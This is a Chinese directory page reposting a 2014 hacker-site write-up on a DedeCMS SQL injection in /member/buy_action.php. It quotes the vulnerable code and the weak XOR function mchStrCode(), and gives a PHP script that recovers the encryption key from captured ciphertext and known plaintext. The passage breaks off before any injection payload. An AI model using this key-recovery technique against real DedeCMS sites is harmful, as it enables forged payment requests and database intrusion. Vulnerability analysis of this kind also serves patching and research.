网站目录收录网站方式:1.人工手动审核。2.自助审核(你的网站在权重3、PR4以上,挂上本站友链->点击友链->自动审核通过。)
北京 天津 上海 广东 深圳 河北 河南 新疆 重庆 四川 贵州 湖南 湖北 云南 广西 宁夏 青海 甘肃 陕西
西藏 海南 山东 福建 安徽 浙江 吉林 山西 江西 江苏 辽宁 黑龙 内蒙 澳门 香港 台湾 日本 韩国 美国
当前位置:站长啦网站目录 » 新闻资讯 » 站长新闻 » 漏洞预警 » 文章详细 订阅RssFeed

DedeCMS全版本通杀SQL注入2014年最新下载

来源:黑吧安全网 浏览:531次 时间:2014-06-12
简介:年前有人刷了N多DedeCMS的洞,个人表示很无语粗略看了下,这些洞存在太大限制 一句话总结:只要GPC一开,全部没法用...试问现在哪个傻子会把GPC关掉... 98%都是打开的,所以哪...今天这个洞,无视GPC,GPC你哪凉快 哪呆着

年前有人刷了N多DedeCMS的洞,个人表示很无语
粗略看了下,这些洞存在太大限制
一句话总结:只要GPC一开,全部没法用...
试问现在哪个傻子会把GPC关掉... 98%都是打开的,所以哪...
今天这个洞,无视GPC,GPC你哪凉快 哪呆着去...
也一句话总结:很黄很暴力!

#1漏洞代码

Tips: 全过程 $_SERVER["HTTP_USER_AGENT"] 设置为空

/member/buy_action.php 代码如下(只贴关键的代码)

 

if(isset($pd_encode) && isset($pd_verify) && md5("payment".$pd_encode.$cfg_cookie_encode) == $pd_verify)
{

parse_str(mchStrCode($pd_encode,'DECODE'),$mch_Post);
foreach($mch_Post as $k => $v) $$k = $v;
$row = $dsql->GetOne("SELECT * FROM #@__member_operation WHERE mid='$mid' And sta=0 AND product='$product'");
if(!isset($row['buyid']))
{
ShowMsg("请不要重复提交表单!", 'javascript:;');
exit();
}
if(!isset($paytype))
{
ShowMsg("请选择支付方式!", 'javascript:;');
exit();
}
$buyid = $row['buyid'];

}



我们来看看其中最关键的加密函数 mchStrCode() 168行

 

function mchStrCode($string,$action='ENCODE')
{
$key = substr(md5($_SERVER["HTTP_USER_AGENT"].$GLOBALS['cfg_cookie_encode']),8,18);
$string = $action == 'ENCODE' ? $string : base64_decode($string);
$len = strlen($key);
$code = '';
for($i=0; $i<strlen($string); $i++)
{
$k = $i % $len;
$code .= $string[$i] ^ $key[$k];
}
$code = $action == 'DECODE' ? $code : base64_encode($code);
return $code;
}



#2 逆向加密函数

重点关注这行代码

 

$code  .= $string[$i] ^ $key[$k];



可以看出来这个加密算法很弱,采用简单的异或运算,我们知道异或运算是一种可逆的算法,比如:

加密算法:密文 = 明文 ^ 密钥

其中 密文、明文、密钥 只要知道其中的两个 便可以很容易的计算出剩下的那个

通常我们只知道密文,但是如果我们知道与密文相对应的明文,哪怕只是一部分

我们来看看DedeCMS给不给我们这个机会

在会员中心 会员升级/点卡充值 处,购买新点卡 随便选择一中类型,点击购买 在后面购买并支付 抓包

有这样一段密文:

 

pd_encode=QEELURRVQVxbAEdTExNaXQsFFncBUQRjRgRKKHEKDUV3XFJRZUABRyhyaj5bCnhTAF4HDwEAVApQVgdSBgRZUANTEzN7aWVxY2AtcVwEVwMMUFFUAQFSCw8GVgRWBwBVBFcIV1QEAAdSClQEUhUgUAVTeQ5fCFtjXA5WBAcHCQBWBFYCAFgeJVBTUC9cXl9aZFoJUD5pVgp1BQAKAFQCCVRSCQRWVlZVV1hcUxNyezVsfnl2cXAvajRkeVwXBVBTUABeShlZVV4GUBMZWhFdE1RDXAxdF0ZcQA



我们来看看对应的明文:

 

product=card&pid=1&DedeUserID=8&DedeUserID__ckMd5=4674d94cfd3ea16d&PHPSESSID=2bb41dc4ba292f722ac1606a35da3b0b&DedeLoginTime=1393217459&DedeLoginTime__ckMd5=5710bf972c7cb9d2&ENV_GOBACK_URL=/dedecms/member/operation.php



经过分析可以得知

1. product=card&pid=1&DedeUserID= 基本不会变化的

2. /member/operation.php 基本不会变化的

3. PHPSESSID=2bb41dc4ba292f722ac1606a35da3b0b 是可以从cookie知道的

...

接下来我们再看看加密密钥的长度:

 

$key    = substr(md5($_SERVER["HTTP_USER_AGENT"].$GLOBALS['cfg_cookie_encode']),8,18);



很明显,密钥的长度为:18

SO,综上所述 DedeCMS确实给了我们这样的机会,让我们可以逆向出 mchStrCode() 函数所用的加密密钥

#3 获取加密密钥

我们根据加密算法,可以很容易的写出逆向的算法

 

<?php
$mingwen="product=card&pid=1&DedeUserID=";
$miwen='QEELURRVQVxbAEdTExNaXQsFFncBUQRjRgRKKHEKDUV3XFJRZUABRyhyaj5bCnhTAF4HDwEAVApQVgdSBgRZUANTEzN7aWVxY2AtcVwEVwMMUFFUAQFSCw8GVgRWBwBVBFcIV1QEAAdSClQEUhUgUAVTeQ5fCFtjXA5WBAcHCQBWBFYCAFgeJVBTUC9cXl9aZFoJUD5pVgp1BQAKAFQCCVRSCQRWVlZVV1hcUxNyezVsfnl2cXAvajRkeVwXBVBTUABeShlZVV4GUBMZWhFdE1RDXAxdF0ZcQA';
$miwen=base64_decode(urldecode($miwen));
$len=strlen($mingwen);
for($i=0;$i<strlen($mingwen);$i++){
$key .= $miwen[$i] ^ $mingwen[$i];
}
echo "Key is: ".$key;
?>



运行结果为:03d5a65a8a575c396403d5a65a8a57

可以看出 03d5a65a8a575c3964 重复进行运算,那么加密密钥为:03d5a65a8a575c3964

#4 漏洞利用上篇

ok 通过对加密函数的分析,我们可以逆向出加密的密钥,接下来 我们接着代码的细节

4.1 加密密钥的生成:

 

$key    = substr(md5($_SERVER["HTTP_USER_AGENT"].$GLOBALS['cfg_cookie_encode']),8,18);



4.2 进入漏洞代码的条件

 

if(isset($pd_encode) && isset($pd_verify) && md5("payment".$pd_encode.$cfg_cookie_encode) == $pd_verify)



重点关注下面的条件:

 

md5("payment".$pd_encode.$cfg_cookie_encode) == $pd_verify



0

版权与免责声明:

凡注明稿件来源的内容均为转载稿或由网友用户注册发布,本网转载出于传递更多信息的目的;如转载稿涉及版权问题,请作者联系我们,同时对于用户评论等信息,本网并不意味着赞同其观点或证实其内容的真实性;


本文地址:https://top.cnzzla.com/artinfo/1700.html

好玩的手游下载

猜你喜欢

推荐站点

  • 福州小程序开发福州小程序开发

    福州好小蚁科技提供专业的微信小程序开发、软件定制、手机APP开发、网站开发等高端定制外包服务,价格美丽,服务周到.一对一项目对接,不满意退全款!预约电话:13107632710 胡小春!福州好小蚁科技有限公司是福建福州网站app等技术开发优秀网络公司。

    www.fzant.com
  • 世界时间网世界时间网

    世界时间网为您提供世界各地精准时间,北京时间校准器,标准时间,世界各地时间与北京时间对比,时间换算等,希望对您有所帮助。

    top.cnzzla.com/time
  • 科技镇科技镇

    科技镇 | 关注科技、娱乐、人文、生活!

    www.kejizhen.com
  • 心动网址导航心动网址导航

    心动网址导航精选了国内国外著名的网站、好玩的、好看的、有趣的国内国外网站以及实用的、优秀的国内国外网站,包括国外视频、国外购物、国外交友、国外新闻等多种类型 同时提供精品行业分类目录提交,让用户全方位了解国内国外互联网动态!

    xd00.com
  • 门户网址-优秀网站导航门户网址-优秀网站导航

    门户网址-优秀网站导航,精选网址导航,免费分类目录提交,实用酷站大全。

    top.mhwz.cn

最新优秀网站